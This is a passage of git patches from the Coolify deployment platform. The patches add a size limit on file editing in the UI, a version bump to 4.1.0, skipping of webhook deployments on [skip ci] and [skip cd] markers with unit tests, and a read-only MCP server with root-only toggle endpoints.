+1,10 @@
- @if ($isReadOnly) + @if ($fileStorage->is_too_large) +
+ File on server exceeds 5 MB and cannot be edited from the UI. Edit it directly on the server. +
+ @elseif ($isReadOnly)
@if ($fileStorage->is_directory) This directory is mounted as read-only and cannot be modified from the UI. @@ -44,7 +48,7 @@ confirmationLabel="Please confirm the execution of the actions by entering the Filepath below" shortConfirmationLabel="Filepath" /> @else - @if (!$fileStorage->is_binary) + @if (!$fileStorage->is_binary && !$fileStorage->is_too_large) is_based_on_git ? 'Content (refreshed after a successful deployment)' : 'Content' }}" helper="The content shown may be outdated. Click 'Load from server' to fetch the latest version." rows="20" id="content" - readonly="{{ $fileStorage->is_based_on_git || $fileStorage->is_binary }}"> - @if (!$fileStorage->is_based_on_git && !$fileStorage->is_binary) + readonly="{{ $fileStorage->is_based_on_git || $fileStorage->is_binary || $fileStorage->is_too_large }}"> + @if (!$fileStorage->is_based_on_git && !$fileStorage->is_binary && !$fileStorage->is_too_large) Save @endif @else diff --git a/tests/Unit/LocalFileVolumeContentSizeTest.php b/tests/Unit/LocalFileVolumeContentSizeTest.php new file mode 100644 index 000000000..1fd315884 --- /dev/null +++ b/tests/Unit/LocalFileVolumeContentSizeTest.php @@ -0,0 +1,66 @@ +toBe(5_242_880); +}); + +it('exposes binary and too-large placeholder constants', function () { + expect(LocalFileVolume::BINARY_PLACEHOLDER)->toBe('[binary file]'); + expect(LocalFileVolume::TOO_LARGE_PLACEHOLDER)->toBe('[file too large to display]'); +}); + +it('flags is_too_large when content matches the placeholder', function () { + $volume = new LocalFileVolume; + $volume->content = LocalFileVolume::TOO_LARGE_PLACEHOLDER; + + expect($volume->is_too_large)->toBeTrue(); + expect($volume->is_binary)->toBeFalse(); +}); + +it('flags is_binary when content matches the placeholder', function () { + $volume = new LocalFileVolume; + $volume->content = LocalFileVolume::BINARY_PLACEHOLDER; + + expect($volume->is_binary)->toBeTrue(); + expect($volume->is_too_large)->toBeFalse(); +}); + +it('does not flag normal content as binary or too large', function () { + $volume = new LocalFileVolume; + $volume->content = "hello\nworld\n"; + + expect($volume->is_binary)->toBeFalse(); + expect($volume->is_too_large)->toBeFalse(); +}); + +it('does not flag empty content as binary or too large', function () { + $volume = new LocalFileVolume; + $volume->content = null; + + expect($volume->is_binary)->toBeFalse(); + expect($volume->is_too_large)->toBeFalse(); +}); + +it('exposes the too-large flag via toArray for Livewire serialization', function () { + $volume = new LocalFileVolume; + $volume->content = LocalFileVolume::TOO_LARGE_PLACEHOLDER; + + $array = $volume->toArray(); + + expect($array)->toHaveKey('is_too_large'); + expect($array['is_too_large'])->toBeTrue(); +}); From 33f5cbb7d7bf7bf37dfc98d1ddd79cb69753a30a Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 29 Apr 2026 08:58:45 +0200 Subject: [PATCH 109/329] chore(version): bump version to 4.1.0 --- config/constants.php | 2 +- other/nightly/versions.json | 2 +- versions.json | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/config/constants.php b/config/constants.php index 8ebf27eed..867cc22d9 100644 --- a/config/constants.php +++ b/config/constants.php @@ -2,7 +2,7 @@ return [ 'coolify' => [ - 'version' => '4.0.1', + 'version' => '4.1.0', 'helper_version' => '1.0.13', 'realtime_version' => '1.0.14', 'self_hosted' => env('SELF_HOSTED', true), diff --git a/other/nightly/versions.json b/other/nightly/versions.json index fe7f6418d..f8b4ea890 100644 --- a/other/nightly/versions.json +++ b/other/nightly/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.0.1" + "version": "4.1.0" }, "nightly": { "version": "4.0.0" diff --git a/versions.json b/versions.json index fe7f6418d..f8b4ea890 100644 --- a/versions.json +++ b/versions.json @@ -1,7 +1,7 @@ { "coolify": { "v4": { - "version": "4.0.1" + "version": "4.1.0" }, "nightly": { "version": "4.0.0" From 46180dbbf9e2d55f8b6a57d417197210cf4f3671 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 29 Apr 2026 09:12:24 +0200 Subject: [PATCH 110/329] feat(webhook): skip deployment on [skip ci]/[skip cd] commit markers Add DetectsSkipDeployCommits trait with two strategies: shouldSkipDeploy (all commits must contain the marker) for push events, and shouldSkipDeployAny (any single marker triggers skip) for PR/MR titles and latest-commit signals. Apply trait to Bitbucket, Gitea, GitHub, GitLab webhook controllers and ProcessGithubPullRequestWebhook job. PRs pass pullRequestTitle through to the job constructor for evaluation. --- app/Http/Controllers/Webhook/Bitbucket.php | 35 ++++++ .../Concerns/DetectsSkipDeployCommits.php | 55 +++++++++ app/Http/Controllers/Webhook/Gitea.php | 26 ++++ app/Http/Controllers/Webhook/Github.php | 31 +++++ app/Http/Controllers/Webhook/Gitlab.php | 27 ++++ app/Jobs/ProcessGithubPullRequestWebhook.php | 7 ++ docker-compose.dev.yml | 1 - tests/Unit/DetectsSkipDeployCommitsTest.php | 115 ++++++++++++++++++ 8 files changed, 296 insertions(+), 1 deletion(-) create mode 100644 app/Http/Controllers/Webhook/Concerns/DetectsSkipDeployCommits.php create mode 100644 tests/Unit/DetectsSkipDeployCommitsTest.php diff --git a/app/Http/Controllers/Webhook/Bitbucket.php b/app/Http/Controllers/Webhook/Bitbucket.php index eda2014a6..ee7f25431 100644 --- a/app/Http/Controllers/Webhook/Bitbucket.php +++ b/app/Http/Controllers/Webhook/Bitbucket.php @@ -4,6 +4,7 @@ use App\Actions\Application\CleanupPreviewDeployment; use App\Http\Controllers\Controller; +use App\Http\Controllers\Webhook\Concerns\DetectsSkipDeployCommits; use App\Models\Application; use App\Models\ApplicationPreview; use Exception; @@ -12,6 +13,8 @@ class Bitbucket extends Controller { + use DetectsSkipDeployCommits; + public function manual(Request $request) { try { @@ -31,6 +34,16 @@ public function manual(Request $request) $branch = data_get($payload, 'push.changes.0.new.name'); $full_name = data_get($payload, 'repository.full_name'); $commit = data_get($payload, 'push.changes.0.new.target.hash'); + // Bitbucket webhooks ship up to 5 commits per change. Larger pushes + // are evaluated only on the visible 5. + $skip_deploy_commits = self::shouldSkipDeploy( + collect(data_get($payload, 'push.changes', [])) + ->flatMap(fn ($change) => data_get($change, 'commits', [])) + ->pluck('message') + ->filter() + ->values() + ->all() + ); if (! $branch) { return response([ @@ -45,6 +58,8 @@ public function manual(Request $request) $full_name = data_get($payload, 'repository.full_name'); $pull_request_id = data_get($payload, 'pullrequest.id'); $pull_request_html_url = data_get($payload, 'pullrequest.links.html.href'); + $pull_request_title = data_get($payload, 'pullrequest.title'); + $skip_deploy_pr = self::shouldSkipDeployAny([$pull_request_title]); $commit = data_get($payload, 'pullrequest.source.commit.hash'); } $applications = Application::where('git_repository', 'like', "%$full_name%"); @@ -119,6 +134,17 @@ public function manual(Request $request) } if ($x_bitbucket_event === 'repo:push') { if ($application->isDeployable()) { + if ($skip_deploy_commits ?? false) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'skipped', + 'message' => 'All commits contain [skip cd] or [skip ci]. Skipping deployment.', + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + ]); + + continue; + } $deployment_uuid = new Cuid2; $result = queue_application_deployment( application: $application, @@ -161,6 +187,15 @@ public function manual(Request $request) } if ($x_bitbucket_event === 'pullrequest:created' || $x_bitbucket_event === 'pullrequest:updated') { if ($application->isPRDeployable()) { + if ($skip_deploy_pr ?? false) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'skipped', + 'message' => 'PR title contains [skip cd] or [skip ci]. Skipping preview deployment.', + ]); + + continue; + } $deployment_uuid = new Cuid2; $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { diff --git a/app/Http/Controllers/Webhook/Concerns/DetectsSkipDeployCommits.php b/app/Http/Controllers/Webhook/Concerns/DetectsSkipDeployCommits.php new file mode 100644 index 000000000..69695e99b --- /dev/null +++ b/app/Http/Controllers/Webhook/Concerns/DetectsSkipDeployCommits.php @@ -0,0 +1,55 @@ + $messages + */ + public static function shouldSkipDeploy(array $messages): bool + { + $messages = array_values(array_filter($messages, fn ($m) => filled($m))); + + if (empty($messages)) { + return false; + } + + foreach ($messages as $message) { + $lower = strtolower((string) $message); + if (! str_contains($lower, '[skip cd]') && ! str_contains($lower, '[skip ci]')) { + return false; + } + } + + return true; + } + + /** + * Returns true if at least one non-empty message contains [skip cd] or + * [skip ci]. Used for PR/MR title + latest-commit signals where any one + * marker should trigger the skip. + * + * @param array $messages + */ + public static function shouldSkipDeployAny(array $messages): bool + { + foreach ($messages as $message) { + if (! filled($message)) { + continue; + } + $lower = strtolower((string) $message); + if (str_contains($lower, '[skip cd]') || str_contains($lower, '[skip ci]')) { + return true; + } + } + + return false; + } +} diff --git a/app/Http/Controllers/Webhook/Gitea.php b/app/Http/Controllers/Webhook/Gitea.php index c6297905e..64807d694 100644 --- a/app/Http/Controllers/Webhook/Gitea.php +++ b/app/Http/Controllers/Webhook/Gitea.php @@ -4,6 +4,7 @@ use App\Actions\Application\CleanupPreviewDeployment; use App\Http\Controllers\Controller; +use App\Http\Controllers\Webhook\Concerns\DetectsSkipDeployCommits; use App\Models\Application; use App\Models\ApplicationPreview; use Exception; @@ -13,6 +14,8 @@ class Gitea extends Controller { + use DetectsSkipDeployCommits; + public function manual(Request $request) { try { @@ -40,12 +43,15 @@ public function manual(Request $request) $removed_files = data_get($payload, 'commits.*.removed'); $modified_files = data_get($payload, 'commits.*.modified'); $changed_files = collect($added_files)->concat($removed_files)->concat($modified_files)->unique()->flatten(); + $skip_deploy_commits = self::shouldSkipDeploy(data_get($payload, 'commits.*.message', [])); } if ($x_gitea_event === 'pull_request') { $action = data_get($payload, 'action'); $full_name = data_get($payload, 'repository.full_name'); $pull_request_id = data_get($payload, 'number'); $pull_request_html_url = data_get($payload, 'pull_request.html_url'); + $pull_request_title = data_get($payload, 'pull_request.title'); + $skip_deploy_pr = self::shouldSkipDeployAny([$pull_request_title]); $branch = data_get($payload, 'pull_request.head.ref'); $base_branch = data_get($payload, 'pull_request.base.ref'); } @@ -112,6 +118,17 @@ public function manual(Request $request) if ($application->isDeployable()) { $is_watch_path_triggered = $application->isWatchPathsTriggered($changed_files); if ($is_watch_path_triggered || blank($application->watch_paths)) { + if ($skip_deploy_commits ?? false) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'skipped', + 'message' => 'All commits contain [skip cd] or [skip ci]. Skipping deployment.', + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + ]); + + continue; + } $deployment_uuid = new Cuid2; $result = queue_application_deployment( application: $application, @@ -170,6 +187,15 @@ public function manual(Request $request) if ($x_gitea_event === 'pull_request') { if ($action === 'opened' || $action === 'synchronized' || $action === 'reopened') { if ($application->isPRDeployable()) { + if ($skip_deploy_pr ?? false) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'skipped', + 'message' => 'PR title contains [skip cd] or [skip ci]. Skipping preview deployment.', + ]); + + continue; + } $deployment_uuid = new Cuid2; $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { diff --git a/app/Http/Controllers/Webhook/Github.php b/app/Http/Controllers/Webhook/Github.php index 7489b433f..b0e11f60c 100644 --- a/app/Http/Controllers/Webhook/Github.php +++ b/app/Http/Controllers/Webhook/Github.php @@ -3,6 +3,7 @@ namespace App\Http\Controllers\Webhook; use App\Http\Controllers\Controller; +use App\Http\Controllers\Webhook\Concerns\DetectsSkipDeployCommits; use App\Jobs\GithubAppPermissionJob; use App\Jobs\ProcessGithubPullRequestWebhook; use App\Models\Application; @@ -16,6 +17,8 @@ class Github extends Controller { + use DetectsSkipDeployCommits; + public function manual(Request $request) { try { @@ -43,12 +46,14 @@ public function manual(Request $request) $removed_files = data_get($payload, 'commits.*.removed'); $modified_files = data_get($payload, 'commits.*.modified'); $changed_files = collect($added_files)->concat($removed_files)->concat($modified_files)->unique()->flatten(); + $skip_deploy_commits = self::shouldSkipDeploy(data_get($payload, 'commits.*.message', [])); } if ($x_github_event === 'pull_request') { $action = data_get($payload, 'action'); $full_name = data_get($payload, 'repository.full_name'); $pull_request_id = data_get($payload, 'number'); $pull_request_html_url = data_get($payload, 'pull_request.html_url'); + $pull_request_title = data_get($payload, 'pull_request.title'); $branch = data_get($payload, 'pull_request.head.ref'); $base_branch = data_get($payload, 'pull_request.base.ref'); $before_sha = data_get($payload, 'before'); @@ -126,6 +131,17 @@ public function manual(Request $request) if ($application->isDeployable()) { $is_watch_path_triggered = $application->isWatchPathsTriggered($changed_files); if ($is_watch_path_triggered || blank($application->watch_paths)) { + if ($skip_deploy_commits ?? false) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'skipped', + 'message' => 'All commits contain [skip cd] or [skip ci]. Skipping deployment.', + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + ]); + + continue; + } $deployment_uuid = new Cuid2; $result = queue_application_deployment( application: $application, @@ -201,6 +217,7 @@ public function manual(Request $request) action: $action, pullRequestId: $pull_request_id, pullRequestHtmlUrl: $pull_request_html_url, + pullRequestTitle: $pull_request_title ?? null, beforeSha: $before_sha, afterSha: $after_sha, commitSha: data_get($payload, 'pull_request.head.sha', 'HEAD'), @@ -274,12 +291,14 @@ public function normal(Request $request) $removed_files = data_get($payload, 'commits.*.removed'); $modified_files = data_get($payload, 'commits.*.modified'); $changed_files = collect($added_files)->concat($removed_files)->concat($modified_files)->unique()->flatten(); + $skip_deploy_commits = self::shouldSkipDeploy(data_get($payload, 'commits.*.message', [])); } if ($x_github_event === 'pull_request') { $action = data_get($payload, 'action'); $id = data_get($payload, 'repository.id'); $pull_request_id = data_get($payload, 'number'); $pull_request_html_url = data_get($payload, 'pull_request.html_url'); + $pull_request_title = data_get($payload, 'pull_request.title'); $branch = data_get($payload, 'pull_request.head.ref'); $base_branch = data_get($payload, 'pull_request.base.ref'); $before_sha = data_get($payload, 'before'); @@ -328,6 +347,17 @@ public function normal(Request $request) if ($application->isDeployable()) { $is_watch_path_triggered = $application->isWatchPathsTriggered($changed_files); if ($is_watch_path_triggered || blank($application->watch_paths)) { + if ($skip_deploy_commits ?? false) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'skipped', + 'message' => 'All commits contain [skip cd] or [skip ci]. Skipping deployment.', + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + ]); + + continue; + } $deployment_uuid = new Cuid2; $result = queue_application_deployment( application: $application, @@ -399,6 +429,7 @@ public function normal(Request $request) action: $action, pullRequestId: $pull_request_id, pullRequestHtmlUrl: $pull_request_html_url, + pullRequestTitle: $pull_request_title ?? null, beforeSha: $before_sha, afterSha: $after_sha, commitSha: data_get($payload, 'pull_request.head.sha', 'HEAD'), diff --git a/app/Http/Controllers/Webhook/Gitlab.php b/app/Http/Controllers/Webhook/Gitlab.php index 99ee4e477..205bede8f 100644 --- a/app/Http/Controllers/Webhook/Gitlab.php +++ b/app/Http/Controllers/Webhook/Gitlab.php @@ -4,6 +4,7 @@ use App\Actions\Application\CleanupPreviewDeployment; use App\Http\Controllers\Controller; +use App\Http\Controllers\Webhook\Concerns\DetectsSkipDeployCommits; use App\Models\Application; use App\Models\ApplicationPreview; use Exception; @@ -13,6 +14,8 @@ class Gitlab extends Controller { + use DetectsSkipDeployCommits; + public function manual(Request $request) { try { @@ -61,6 +64,7 @@ public function manual(Request $request) $removed_files = data_get($payload, 'commits.*.removed'); $modified_files = data_get($payload, 'commits.*.modified'); $changed_files = collect($added_files)->concat($removed_files)->concat($modified_files)->unique()->flatten(); + $skip_deploy_commits = self::shouldSkipDeploy(data_get($payload, 'commits.*.message', [])); } if ($x_gitlab_event === 'merge_request') { $action = data_get($payload, 'object_attributes.action'); @@ -69,6 +73,9 @@ public function manual(Request $request) $full_name = data_get($payload, 'project.path_with_namespace'); $pull_request_id = data_get($payload, 'object_attributes.iid'); $pull_request_html_url = data_get($payload, 'object_attributes.url'); + $pull_request_title = data_get($payload, 'object_attributes.title'); + $latest_commit_message = data_get($payload, 'object_attributes.last_commit.message'); + $skip_deploy_pr = self::shouldSkipDeployAny([$pull_request_title, $latest_commit_message]); if (! $branch) { $return_payloads->push([ 'status' => 'failed', @@ -147,6 +154,17 @@ public function manual(Request $request) if ($application->isDeployable()) { $is_watch_path_triggered = $application->isWatchPathsTriggered($changed_files); if ($is_watch_path_triggered || blank($application->watch_paths)) { + if ($skip_deploy_commits ?? false) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'skipped', + 'message' => 'All commits contain [skip cd] or [skip ci]. Skipping deployment.', + 'application_uuid' => $application->uuid, + 'application_name' => $application->name, + ]); + + continue; + } $deployment_uuid = new Cuid2; $result = queue_application_deployment( application: $application, @@ -206,6 +224,15 @@ public function manual(Request $request) if ($x_gitlab_event === 'merge_request') { if ($action === 'open' || $action === 'opened' || $action === 'synchronize' || $action === 'reopened' || $action === 'reopen' || $action === 'update') { if ($application->isPRDeployable()) { + if ($skip_deploy_pr ?? false) { + $return_payloads->push([ + 'application' => $application->name, + 'status' => 'skipped', + 'message' => 'PR title or latest commit contains [skip cd] or [skip ci]. Skipping preview deployment.', + ]); + + continue; + } $deployment_uuid = new Cuid2; $found = ApplicationPreview::where('application_id', $application->id)->where('pull_request_id', $pull_request_id)->first(); if (! $found) { diff --git a/app/Jobs/ProcessGithubPullRequestWebhook.php b/app/Jobs/ProcessGithubPullRequestWebhook.php index 041cd812c..54e386676 100644 --- a/app/Jobs/ProcessGithubPullRequestWebhook.php +++ b/app/Jobs/ProcessGithubPullRequestWebhook.php @@ -4,6 +4,7 @@ use App\Actions\Application\CleanupPreviewDeployment; use App\Enums\ProcessStatus; +use App\Http\Controllers\Webhook\Concerns\DetectsSkipDeployCommits; use App\Models\Application; use App\Models\ApplicationPreview; use App\Models\GithubApp; @@ -17,6 +18,7 @@ class ProcessGithubPullRequestWebhook implements ShouldBeEncrypted, ShouldQueue { + use DetectsSkipDeployCommits; use Dispatchable, InteractsWithQueue, Queueable, SerializesModels; public int $tries = 3; @@ -31,6 +33,7 @@ public function __construct( public string $action, public int $pullRequestId, public string $pullRequestHtmlUrl, + public ?string $pullRequestTitle, public ?string $beforeSha, public ?string $afterSha, public string $commitSha, @@ -83,6 +86,10 @@ private function handleOpenAction(Application $application, ?GithubApp $githubAp return; } + if (self::shouldSkipDeployAny([$this->pullRequestTitle])) { + return; + } + // Check if PR deployments from public contributors are restricted if (! $application->settings->is_pr_deployments_public_enabled) { $trustedAssociations = ['OWNER', 'MEMBER', 'COLLABORATOR', 'CONTRIBUTOR']; diff --git a/docker-compose.dev.yml b/docker-compose.dev.yml index 82b7edb44..50edc140f 100644 --- a/docker-compose.dev.yml +++ b/docker-compose.dev.yml @@ -132,7 +132,6 @@ services: image: ghcr.io/coollabsio/maxio:latest pull_policy: always container_name: coolify-minio - command: server /data --console-address ":9001" ports: - "${FORWARD_MINIO_PORT:-9000}:9000" - "${FORWARD_MINIO_PORT_CONSOLE:-9001}:9001" diff --git a/tests/Unit/DetectsSkipDeployCommitsTest.php b/tests/Unit/DetectsSkipDeployCommitsTest.php new file mode 100644 index 000000000..5255df5d6 --- /dev/null +++ b/tests/Unit/DetectsSkipDeployCommitsTest.php @@ -0,0 +1,115 @@ +toBeFalse(); + }); + + test('returns false when only nulls or empty strings are provided', function () use ($harnessClass) { + expect($harnessClass::shouldSkipDeploy([null, '', null]))->toBeFalse(); + }); + + test('returns true when all messages contain [skip ci]', function () use ($harnessClass) { + $messages = [ + 'Update docs [skip ci]', + 'Fix typo [skip ci]', + ]; + expect($harnessClass::shouldSkipDeploy($messages))->toBeTrue(); + }); + + test('returns true when single message contains [skip cd]', function () use ($harnessClass) { + expect($harnessClass::shouldSkipDeploy(['Update README [skip cd]']))->toBeTrue(); + }); + + test('returns true with mixed [skip ci] and [skip cd] (case-insensitive)', function () use ($harnessClass) { + $messages = [ + 'Docs [SKIP CI]', + 'Changelog [Skip Cd]', + ]; + expect($harnessClass::shouldSkipDeploy($messages))->toBeTrue(); + }); + + test('returns false when at least one message has no skip marker', function () use ($harnessClass) { + $messages = [ + 'Update docs [skip ci]', + 'Actual feature change', + ]; + expect($harnessClass::shouldSkipDeploy($messages))->toBeFalse(); + }); + + test('returns false when single message has no skip marker', function () use ($harnessClass) { + expect($harnessClass::shouldSkipDeploy(['Deploy this please']))->toBeFalse(); + }); + + test('null entries are filtered before evaluation', function () use ($harnessClass) { + $messages = [ + null, + 'Docs [skip ci]', + null, + ]; + expect($harnessClass::shouldSkipDeploy($messages))->toBeTrue(); + }); + + test('matches PR title scenario (single string)', function () use ($harnessClass) { + expect($harnessClass::shouldSkipDeploy(['chore: update readme [skip ci]']))->toBeTrue(); + expect($harnessClass::shouldSkipDeploy(['feat: real change']))->toBeFalse(); + expect($harnessClass::shouldSkipDeploy([null]))->toBeFalse(); + }); +}); + +describe('shouldSkipDeployAny (any-marker)', function () use ($harnessClass) { + test('returns false when messages array is empty', function () use ($harnessClass) { + expect($harnessClass::shouldSkipDeployAny([]))->toBeFalse(); + }); + + test('returns false when only nulls or empty strings are provided', function () use ($harnessClass) { + expect($harnessClass::shouldSkipDeployAny([null, '', null]))->toBeFalse(); + }); + + test('returns true when any one message contains [skip ci]', function () use ($harnessClass) { + $messages = [ + 'Real feature change', + 'docs: update readme [skip ci]', + ]; + expect($harnessClass::shouldSkipDeployAny($messages))->toBeTrue(); + }); + + test('returns true when any one message contains [skip cd]', function () use ($harnessClass) { + expect($harnessClass::shouldSkipDeployAny(['feature change', 'chore [skip cd]']))->toBeTrue(); + }); + + test('returns true case-insensitively', function () use ($harnessClass) { + expect($harnessClass::shouldSkipDeployAny(['feat: docs [SKIP CI]']))->toBeTrue(); + expect($harnessClass::shouldSkipDeployAny(['feat: docs [Skip Cd]']))->toBeTrue(); + }); + + test('returns false when no message contains a skip marker', function () use ($harnessClass) { + $messages = [ + 'feat: add new endpoint', + 'fix: handle edge case', + ]; + expect($harnessClass::shouldSkipDeployAny($messages))->toBeFalse(); + }); + + test('null and empty entries are skipped, real markers still match', function () use ($harnessClass) { + expect($harnessClass::shouldSkipDeployAny([null, '', 'docs [skip ci]', null]))->toBeTrue(); + expect($harnessClass::shouldSkipDeployAny([null, '', null]))->toBeFalse(); + }); + + test('PR title alone with skip marker triggers skip', function () use ($harnessClass) { + expect($harnessClass::shouldSkipDeployAny(['chore: update readme [skip ci]']))->toBeTrue(); + }); + + test('PR title without skip marker but commit message with skip marker triggers skip', function () use ($harnessClass) { + expect($harnessClass::shouldSkipDeployAny(['feat: real change', 'wip [skip cd]']))->toBeTrue(); + }); +}); From 7ab16ad7b5e34e0da37f91f4be4c7396bc97264a Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 29 Apr 2026 10:30:43 +0200 Subject: [PATCH 111/329] feat(mcp): add MCP server with read-only tools for Coolify resources Add Model Context Protocol server exposing Coolify infrastructure data to AI assistants. Includes tools for listing/fetching servers, projects, applications, databases, and services, scoped to authenticated team tokens. - Add CoolifyServer with 10 read-only tools (list/get for all resource types) - Add BuildsResponse and ResolvesTeam traits for shared tool logic - Add EnsureMcpEnabled middleware guarding /mcp routes - Add enable/disable MCP API endpoints (root-only) - Add is_mcp_server_enabled toggle in instance settings and advanced UI - Add migration for is_mcp_server_enabled column - Add feature tests for MCP endpoints and toggle API - Scrub sensitive keys (passwords, tokens, raw IDs) from all responses --- app/Http/Controllers/Api/OtherController.php | 112 +++++++++ app/Http/Kernel.php | 102 +++++--- app/Http/Middleware/EnsureMcpEnabled.php | 25 ++ app/Livewire/Settings/Advanced.php | 6 + app/Mcp/Concerns/BuildsResponse.php | 225 ++++++++++++++++++ app/Mcp/Concerns/ResolvesTeam.php | 35 +++ app/Mcp/Servers/CoolifyServer.php | 50 ++++ app/Mcp/Tools/GetApplication.php | 60 +++++ app/Mcp/Tools/GetDatabase.php | 58 +++++ app/Mcp/Tools/GetInfrastructureOverview.php | 93 ++++++++ app/Mcp/Tools/GetServer.php | 57 +++++ app/Mcp/Tools/GetService.php | 61 +++++ app/Mcp/Tools/ListApplications.php | 74 ++++++ app/Mcp/Tools/ListDatabases.php | 69 ++++++ app/Mcp/Tools/ListProjects.php | 66 +++++ app/Mcp/Tools/ListServers.php | 67 ++++++ app/Mcp/Tools/ListServices.php | 68 ++++++ app/Models/InstanceSettings.php | 2 + composer.json | 1 + composer.lock | 150 ++++++------ ...ver_enabled_to_instance_settings_table.php | 28 +++ openapi.json | 104 ++++++++ openapi.yaml | 58 +++++ .../livewire/settings/advanced.blade.php | 11 + routes/ai.php | 7 + routes/api.php | 2 + tests/Feature/Mcp/McpEndpointTest.php | 194 +++++++++++++++ tests/Feature/Mcp/McpToggleApiTest.php | 107 +++++++++ 28 files changed, 1783 insertions(+), 109 deletions(-) create mode 100644 app/Http/Middleware/EnsureMcpEnabled.php create mode 100644 app/Mcp/Concerns/BuildsResponse.php create mode 100644 app/Mcp/Concerns/ResolvesTeam.php create mode 100644 app/Mcp/Servers/CoolifyServer.php create mode 100644 app/Mcp/Tools/GetApplication.php create mode 100644 app/Mcp/Tools/GetDatabase.php create mode 100644 app/Mcp/Tools/GetInfrastructureOverview.php create mode 100644 app/Mcp/Tools/GetServer.php create mode 100644 app/Mcp/Tools/GetService.php create mode 100644 app/Mcp/Tools/ListApplications.php create mode 100644 app/Mcp/Tools/ListDatabases.php create mode 100644 app/Mcp/Tools/ListProjects.php create mode 100644 app/Mcp/Tools/ListServers.php create mode 100644 app/Mcp/Tools/ListServices.php create mode 100644 database/migrations/2026_04_22_183029_add_is_mcp_server_enabled_to_instance_settings_table.php create mode 100644 routes/ai.php create mode 100644 tests/Feature/Mcp/McpEndpointTest.php create mode 100644 tests/Feature/Mcp/McpToggleApiTest.php diff --git a/app/Http/Controllers/Api/OtherController.php b/app/Http/Controllers/Api/OtherController.php index 5ac274f93..17c5a884a 100644 --- a/app/Http/Controllers/Api/OtherController.php +++ b/app/Http/Controllers/Api/OtherController.php @@ -153,6 +153,118 @@ public function disable_api(Request $request) return response()->json(['message' => 'API disabled.'], 200); } + #[OA\Get( + summary: 'Enable MCP Server', + description: 'Enable the MCP server endpoint at /mcp (only with root permissions).', + path: '/mcp/enable', + operationId: 'enable-mcp', + security: [ + ['bearerAuth' => []], + ], + responses: [ + new OA\Response( + response: 200, + description: 'MCP server enabled.', + content: new OA\JsonContent( + type: 'object', + properties: [ + new OA\Property(property: 'message', type: 'string', example: 'MCP server enabled.'), + ] + )), + new OA\Response( + response: 403, + description: 'You are not allowed to enable the MCP server.', + content: new OA\JsonContent( + type: 'object', + properties: [ + new OA\Property(property: 'message', type: 'string', example: 'You are not allowed to enable the MCP server.'), + ] + )), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + ] + )] + public function enable_mcp(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + if ($teamId !== '0') { + auditLog('api.mcp.enable_denied', ['team_id' => $teamId], 'warning'); + + return response()->json(['message' => 'You are not allowed to enable the MCP server.'], 403); + } + $settings = instanceSettings(); + $settings->update(['is_mcp_server_enabled' => true]); + + auditLog('api.mcp.enabled', ['team_id' => $teamId]); + + return response()->json(['message' => 'MCP server enabled.'], 200); + } + + #[OA\Get( + summary: 'Disable MCP Server', + description: 'Disable the MCP server endpoint at /mcp (only with root permissions).', + path: '/mcp/disable', + operationId: 'disable-mcp', + security: [ + ['bearerAuth' => []], + ], + responses: [ + new OA\Response( + response: 200, + description: 'MCP server disabled.', + content: new OA\JsonContent( + type: 'object', + properties: [ + new OA\Property(property: 'message', type: 'string', example: 'MCP server disabled.'), + ] + )), + new OA\Response( + response: 403, + description: 'You are not allowed to disable the MCP server.', + content: new OA\JsonContent( + type: 'object', + properties: [ + new OA\Property(property: 'message', type: 'string', example: 'You are not allowed to disable the MCP server.'), + ] + )), + new OA\Response( + response: 401, + ref: '#/components/responses/401', + ), + new OA\Response( + response: 400, + ref: '#/components/responses/400', + ), + ] + )] + public function disable_mcp(Request $request) + { + $teamId = getTeamIdFromToken(); + if (is_null($teamId)) { + return invalidTokenResponse(); + } + if ($teamId !== '0') { + auditLog('api.mcp.disable_denied', ['team_id' => $teamId], 'warning'); + + return response()->json(['message' => 'You are not allowed to disable the MCP server.'], 403); + } + $settings = instanceSettings(); + $settings->update(['is_mcp_server_enabled' => false]); + + auditLog('api.mcp.disabled', ['team_id' => $teamId]); + + return response()->json(['message' => 'MCP server disabled.'], 200); + } + public function feedback(Request $request) { $data = $request->validate([ diff --git a/app/Http/Kernel.php b/app/Http/Kernel.php index 515d40c62..a584bc111 100644 --- a/app/Http/Kernel.php +++ b/app/Http/Kernel.php @@ -2,7 +2,40 @@ namespace App\Http; +use App\Http\Middleware\ApiAbility; +use App\Http\Middleware\ApiSensitiveData; +use App\Http\Middleware\Authenticate; +use App\Http\Middleware\CanAccessTerminal; +use App\Http\Middleware\CanCreateResources; +use App\Http\Middleware\CanUpdateResource; +use App\Http\Middleware\CheckForcePasswordReset; +use App\Http\Middleware\DecideWhatToDoWithUser; +use App\Http\Middleware\EncryptCookies; +use App\Http\Middleware\EnsureMcpEnabled; +use App\Http\Middleware\PreventRequestsDuringMaintenance; +use App\Http\Middleware\RedirectIfAuthenticated; +use App\Http\Middleware\TrimStrings; +use App\Http\Middleware\TrustHosts; +use App\Http\Middleware\TrustProxies; +use App\Http\Middleware\ValidateSignature; +use App\Http\Middleware\VerifyCsrfToken; +use Illuminate\Auth\Middleware\AuthenticateWithBasicAuth; +use Illuminate\Auth\Middleware\Authorize; +use 